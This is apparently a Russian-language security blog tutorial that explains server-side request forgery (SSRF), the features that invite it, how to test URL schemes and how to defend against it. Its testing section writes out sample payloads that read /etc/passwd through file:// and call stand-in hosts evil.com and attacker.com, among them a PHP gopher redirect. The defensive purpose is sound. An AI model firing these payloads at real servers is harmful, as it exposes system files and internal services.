Уязвимости SSRF позволяют злоумышленникам отправлять поддельные вредоносные запросы с внутреннего сервера уязвимого приложения.
Преступники обычно используют SSRF-атаки для атаки на внутренние системы, которые находятся за межсетевыми экранами и не имеют свободного доступа к внешней сети.
Злоумышленник также может использовать SSRF для доступа к сервисам, известным через loopback-интерфейс эксплуатируемого сервера.
Уязвимости SSRF возникают, когда злоумышленник полностью или частично контролирует запрос, посылаемый веб-приложением.
Частым примером является ситуация, когда злоумышленник может содержать URL-адрес стороннего сервиса, к которому веб-приложение направляет запрос.
🕷️ OWASP Top 10 – Разбираем уязвимости и как их устранить
Почему SSRF опасен?
Успешная SSRF-атака часто может привести к несанкционированным действиям или доступу к данным или учетным данным в организации, как в самом уязвимом приложении, так и в других внутренних системах баз данных, с которыми может взаимодействовать приложение.
В некоторых ситуациях уязвимость SSRF может позволить злоумышленнику выполнить произвольную команду.
Эксплойт SSRF, вызывающий подключение к внешним сторонним системам, может привести к злонамеренным атакам, исходящим, как кажется, из организации, в которой размещено уязвимое приложение.
🖧 scanless – инструмент для анонимного сканирования открытых портов целевых веб-сайтов
Некоторые опасные случаи использования SSRF
Почему разработчики прибегают к рискованным методам, которые могут привести к возникновению SSRF?
Приведем несколько примеров распространенных сценариев использования, которые могут привести к уязвимости подделки запросов на стороне сервера, если не реализована надлежащая валидация:
- Вебхуки
- Загрузка и получение ресурсов
- Открытые перенаправления
- Перенаправление запросов
Вебхуки
Webhooks – это модульный способ расширения функциональности приложения за счет включения гибких и стандартизированных “плагинов”.
Внешние плагины сайта (webhooks) вызываются после триггерного события в исходном приложении.
Например, почтовый сервис может открыть webhook, который наше приложение может использовать при регистрации нового пользователя, чтобы почтовый сервис отправил приветственное письмо.
Они больше похожи на API, но более просты и стандартизированы.
И снова уязвимость SSRF возникает в том случае, если вызов вебхука сформулирован таким образом, что он включает недействительный пользовательский ввод.
Загрузка ресурсов
Некоторые приложения сохраняют изображения и другие ресурсы в файловой системе сервера.
SSRF возникает в тех сценариях, когда приложение содержит часть, которая принимает недоверенные данные для получения серверного ресурса, и при этом не выполняет проверку безопасности.
Связывание или имплантация изображений профиля пользователя.
Обработка файлов
Некоторые приложения принимают и обрабатывают URL-адреса, обнаруженные в файлах, загруженных на сервер, включая конфигурационные файлы, скрипты и форматы импорта-экспорта.
В некоторых случаях это может привести к возникновению SSRF.
В сочетании с другими угрозами, такими как XXE или открытые редиректы, переадресация запросов, обработка файлов является одной из наиболее распространенных функций, составляющих вектор атаки SSRF.
✗ Список пэйлоадов для инъекций внешнего объекта XML (XXE)
Переадресация запросов
По мере повышения модульности и сложности приложений возрастает зависимость от внешних сервисов.
Хорошим примером является аутентификация.
Если приложение просто собирает пользовательский ввод для формирования внешнего запроса к сервису аутентификации, то оно потенциально может стать источником уязвимости SSRF.
Другим распространенным примером является запрос к API.
С точки зрения внешних конечных точек API источником запроса является SSRF-компрометированный сервер, что открывает шлюзы для эксплуатации.
Тестирование схем URL SSRF
Первое, что необходимо сделать при обнаружении ошибки в SSRF, – попробовать все следующие схемы URL:
http://
Протокол HTTP (Hypertext Transfer Protocol) используется для загрузки веб-страниц с помощью гипертекстовых ссылок.
http://test.com/ssrf.php?url=http://attacker.com
file://
File используется для получения файлов из файловой системы.
http://test.com/ssrf.php?url=file:///etc/passwd http://test.com/ssrf.php?url=file:///C:/Windows/win.ini
Если сервер блокирует HTTP-запросы к внешним сайтам или вносит их в белый список, мы можем просто использовать схемы URL для выполнения запроса.
dict://
Схема URL DICT используется для указания определений или списков слов, доступных по протоколу DICT:
http://test.com/ssrf.php?dict://evil.com:1337/sftp
sftp://
SFTP расшифровывается как Secure File Transfer Protocol, или SSH File Transfer Protocol.
Это отдельный протокол, поставляемый в комплекте с SSH, который работает аналогичным образом через защищенное соединение.
http://test.com/ssrf.php?url=sftp://evil.com:1337/
ldap:// или ldaps:// или ldapi://
LDAP расшифровывается как Lightweight Directory Access Protocol.
Это прикладной протокол, используемый для выхода в IP-сеть для работы и получения доступа к информационной службе распределенных каталогов.
http://test.com/ssrf.php?url=ldap://localhost:1337/%0astats%0aquit http://test.com/ssrf.php?url=ldaps://localhost:1337/%0astats%0aquit http://test.com/ssrf.php?url=ldapi://localhost:1337/%0astats%0aquit
tftp://
Trivial File Transfer Protocol – это простой протокол передачи файлов, позволяющий клиенту получить файл с удаленного узла или положить на него файл.
gopher://
Gopher – это служба распределенной доставки документов.
Он позволяет пользователям изучать, искать и извлекать информацию, находящуюся в разных местах.
Вредоносный PHP-файл (gopher.phpgopher.php), размещенный на машине злоумышленника:
<?php header('Location: gopher://evil.com:1337/_Hi%0Assrf%0Atest'); ?>
Эксплуатация SSRF:
http://test.com/ssrf.php?url=http://attacker.com/gopher.phpgopher.php
SSRF в действии
Чтобы лучше понять суть SSRF, можно использовать уязвимость в общедоступной лаборатории – SSRF Playground lab.
Защита от SSRF
Простые черные списки и регулярные выражения, применяемые к пользовательскому вводу, являются неверными подходами для блокирования SSRF-атак.
В общем случае наличие черного списка не решит проблему.
Злоумышленники все равно найдут способы их обойти.
В этом случае злоумышленник может использовать HTTP-переадресацию, подстановочный DNS-сервис, например xip.io, или даже альтернативную кодировку IP-адреса.
Обработка ответов
Чтобы данные ответа не стали известны злоумышленнику, убедитесь, что полученный ответ соответствует ожиданиям.
Белые списки и резолв DNS
Лучший способ избежать подделки запросов на стороне сервера (SSRF) – внести в белый список имена хостов, например DNS-имена или IP-адреса, к которым необходимо обращаться приложению.
Если подход с использованием “белых списков” не работает, важно правильно проверять вводимые пользователем данные.
Например, не разрешать запросы к конечным точкам с удаленными немаршрутизируемыми IP-адресами (подробно описано в RFC 1918).
Однако в случае с “черным списком” правильное решение о смягчении последствий будет зависеть от конкретного приложения.
Другими словами, универсального решения для SSRF не существует, поскольку оно сильно зависит от функциональности приложения и требований бизнеса.
Аутентификация внутренних служб
По умолчанию такие сервисы, как Elasticsearch, Memcached, Redis и MongoDB, не требуют аутентификации.
Злоумышленник может использовать уязвимости SSRF для получения доступа к некоторым из этих сервисов без какой-либо аутентификации. Поэтому для защиты конфиденциальной информации и усиления безопасности веб-приложений лучше всего убедиться, что каждый запрос с использованием потенциально опасных схем, таких как file:///, dict://, ftp:// и gopher://.
см. также:
- 👥 Обзор уязвимых веб-приложений для практики взлома и пентеста
- 🖧 Burp Bounty: BurpSuite расширение для улучшения активного и пассивного сканера
